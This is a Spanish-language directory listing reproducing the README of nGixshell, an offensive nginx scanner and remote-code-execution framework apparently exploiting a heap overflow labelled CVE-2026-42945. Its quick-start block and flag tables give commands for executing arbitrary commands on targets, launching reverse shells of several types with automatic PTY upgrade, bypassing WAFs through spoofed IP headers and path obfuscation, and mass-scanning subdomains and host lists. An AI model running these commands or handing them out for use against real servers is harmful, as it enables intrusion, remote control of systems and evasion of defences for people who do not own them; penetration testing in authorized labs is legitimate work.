Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
nGixshell — escáner de CVE nginx + framework de exploits RCE (CVE-2026-42945 + 16 otros) | Kitploit
Herramientas/GitHubGitHub/mateusverass/ngixshell
ReconocimientoEscáneres de VulnerabilidadesFrameworks de ExploitsExplotación de Aplicaciones WebEvasión de WAFSeguridad WebPruebas de PenetraciónComando y ControlEnumeración de SubdominiosRed TeamingDesarrollo de Payloads
21841hace 24 díasRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
GitHubmateusverass/ngixshell

nGixshell

escáner de CVE nginx + framework de exploits RCE (CVE-2026-42945 + 16 otros)

Ver Repositorio
Compartir
nGixShell

Python CVEs Zero deps License


nGixShell es un escáner de CVEs de nginx y un framework de explotación de RCE. Incluye una prueba de concepto para CVE-2026-42945 (CVSS 3.1 8.1 HIGH según F5/NVD) — un desbordamiento de búfer en el heap en ngx_http_rewrite_module — y un escáner que cubre 64 CVEs de nginx con sondeos HTTP automatizados, fingerprinting, detección/bypass de WAF, auditoría de seguridad web y generación de informes.

Cero dependencias externas. Solo la biblioteca estándar de Python 3.

Requisitos previos del exploit (leer primero). --cmd / --shell solo funcionan cuando todas estas condiciones se cumplen: el objetivo es x86_64, la configuración vulnerable de rewrite+set está presente, ASLR está deshabilitado, y las direcciones del heap/libc fueron calibradas para esa compilación exacta (calibrate.py → --build-file). Consulta Requisitos del exploit. El escáner en sí no tiene tales requisitos.


Inicio rápido

# Levantar el laboratorio vulnerable (compila nginx desde el código fuente, ASLR deshabilitado)
docker compose -f env/docker-compose.yml up -d --build

# Modo automático — fingerprint + escaneo de CVEs + auditoría web (funciona en cualquier arquitectura)
python3 ngixshell.py 127.0.0.1:19321

# RCE — calibrar, reiniciar el worker para un heap limpio, luego explotar
W=$(pgrep -f 'nginx: worker' | head -1)
sudo python3 calibrate.py 127.0.0.1 19321 "$W" --spray-path /spray \
    --spray-mode full --json -o profile.json
docker compose -f env/docker-compose.yml restart nginx-vuln
python3 ngixshell.py 127.0.0.1:19321 --cmd 'id > /tmp/rce.txt' \
    --build-file profile.json
docker compose -f env/docker-compose.yml exec nginx-vuln cat /tmp/rce.txt

# Lanzar una reverse shell (IP autodetectada)
python3 ngixshell.py 127.0.0.1:19321 --shell --shell-type bash --upgrade-shell --build-file profile.json

# Detectar y eludir el WAF, luego escanear
python3 ngixshell.py 127.0.0.1:19321 --waf-bypass

# Escaneo de subdominios
python3 ngixshell.py --subdomain-scan example.com --scan-port 443

# Múltiples objetivos desde un archivo (un informe por objetivo)
python3 ngixshell.py --target-file hosts.txt --json --html-report results.html

No se requieren flags — apuntar la herramienta a un objetivo ejecuta todo automáticamente.
TLS se autodetecta. nginx se identifica incluso con server_tokens off.

system() no captura stdout: --cmd 'id' se ejecuta pero no devuelve nada. Usa un comando con un efecto secundario observable y confírmalo con --verify-url http://target/pwned (HTTP 200 = confirmado).


Uso

python3 ngixshell.py [TARGET] [OPTIONS]

TARGET formats:
  127.0.0.1
  192.168.1.10:8080
  http://192.168.1.10:8080
  https://target.local

Modos

FlagDescripción
(ninguno)Auto — fingerprint + escaneo de CVEs + auditoría web
--cmd 'CMD'Ejecutar comando mediante RCE de CVE-2026-42945
--cmd-file FILEEjecutar comandos desde un archivo (unidos con ;)
--shellLanzar una reverse shell
--shell-type TYPEPayload: bash python perl php nc powershell (por defecto: python)
--upgrade-shellEnviar automáticamente la actualización a PTY tras conectar la shell
--verify-url URLTras un crash detectado, obtener la URL para confirmar que el comando se ejecutó (200 = verificado)
--subdomain-scan DOMAINBuscar nginx vulnerable en subdominios
--cve CVE-IDProbar un CVE específico
--list-cvesMostrar los 64 CVEs con CVSS e información del sondeo
--list-candidatesMostrar los candidatos de direcciones del heap
--dry-runSolo fingerprint + escaneo, sin exploit
--target-file FILEEscanear múltiples hosts desde un archivo

Ajuste del exploit

FlagDescripción
--build-file FILERecomendado. Perfil de calibración JSON de calibrate.py --json -o FILE
--offsets SPECOffsets del heap en hexadecimal separados por comas de calibrate.py (p. ej. 0x5a427,0x60e67)
--heap-base HEX / --libc-base HEX / --system-addr HEXSobrescrituras manuales de direcciones
--build KEYPerfil integrado (solo se incluye la referencia del laboratorio DepthFirst)
--rewrite-path PATHUbicación vulnerable de rewrite (por defecto /api)
--spray-path PATHUbicación respaldada por proxy_pass usada para el spray del cuerpo POST (por defecto /upload; el laboratorio incluido usa /spray)
--spray-mode partial|fullpartial: cuerpo corto + Content-Length grande (laboratorio incluido); full: cuerpo completo + X-Delay (laboratorio DepthFirst)
--pad-a N / --pad-plus NRelleno de la ruta de activación antes de la secuencia + (por defecto 349 / 969, del PoC del proveedor)
--continue-on-crashSeguir probando los candidatos de heap restantes tras un crash no verificado
--tries N / --spray N / --body-len NIntentos de activación por candidato / conexiones de spray / tamaño del cuerpo del spray

Detección y bypass de WAF

FlagDescripción
--waf-detectDetectar WAF antes de escanear
--waf-bypassHabilitar todas las técnicas de bypass (también ejecuta la detección)
--waf-ip IPSuplantar esta IP en las cabeceras de bypass (por defecto: RFC1918 aleatoria)

Técnicas de bypass (todas activas cuando se establece --waf-bypass):

TécnicaDetalle
Suplantación de IPX-Forwarded-For, X-Real-IP, X-Originating-IP, True-Client-IP, X-Remote-IP, X-Client-IP
Rotación de UA11 User-Agents reales de navegador/bot, aleatorizados por petición
Ofuscación de rutasdoble barra, relleno /./, codificación porcentual, variación de mayúsculas/minúsculas
Mezcla de mayúsculas en cabecerasaleatoriza el uso de mayúsculas/minúsculas en los nombres de cabecera para romper la coincidencia de patrones del WAF

WAFs detectados: Cloudflare, AWS WAF, Akamai, Imperva/Incapsula, ModSecurity, F5 BIG-IP ASM, Sucuri, Barracuda, NAXSI, Fastly, Wordfence

Auditoría web

Se ejecuta automáticamente en modo escaneo. Todos los módulos pueden omitirse individualmente.

FlagDescripción
--skip-headersOmitir la auditoría de cabeceras de seguridad HTTP
--skip-pathsOmitir el descubrimiento de rutas/archivos
--skip-vhostsOmitir la enumeración de hosts virtuales
--skip-tlsOmitir la auditoría del protocolo TLS
--path-wordlist FILERutas adicionales a sondear (una por línea)
  • Auditoría de cabeceras — HSTS, CSP, X-Frame-Options, X-Content-Type-Options, Referrer-Policy, Permissions-Policy, cabeceras que filtran la versión
  • Descubrimiento de rutas — más de 50 rutas; el sondeo centinela elimina falsos positivos de reglas catch-all 403/301
  • Enumeración de hosts virtuales — requiere diferencia tanto de estado como de cuerpo para evitar falsos positivos del bloque por defecto
  • Auditoría TLS — prueba la compatibilidad con TLS 1.0–1.3, la caducidad del certificado y la detección de autofirmados
  • stub_status — analiza las métricas de conexiones activas desde /nginx_status si está expuesto

Conexión

Descargar herramienta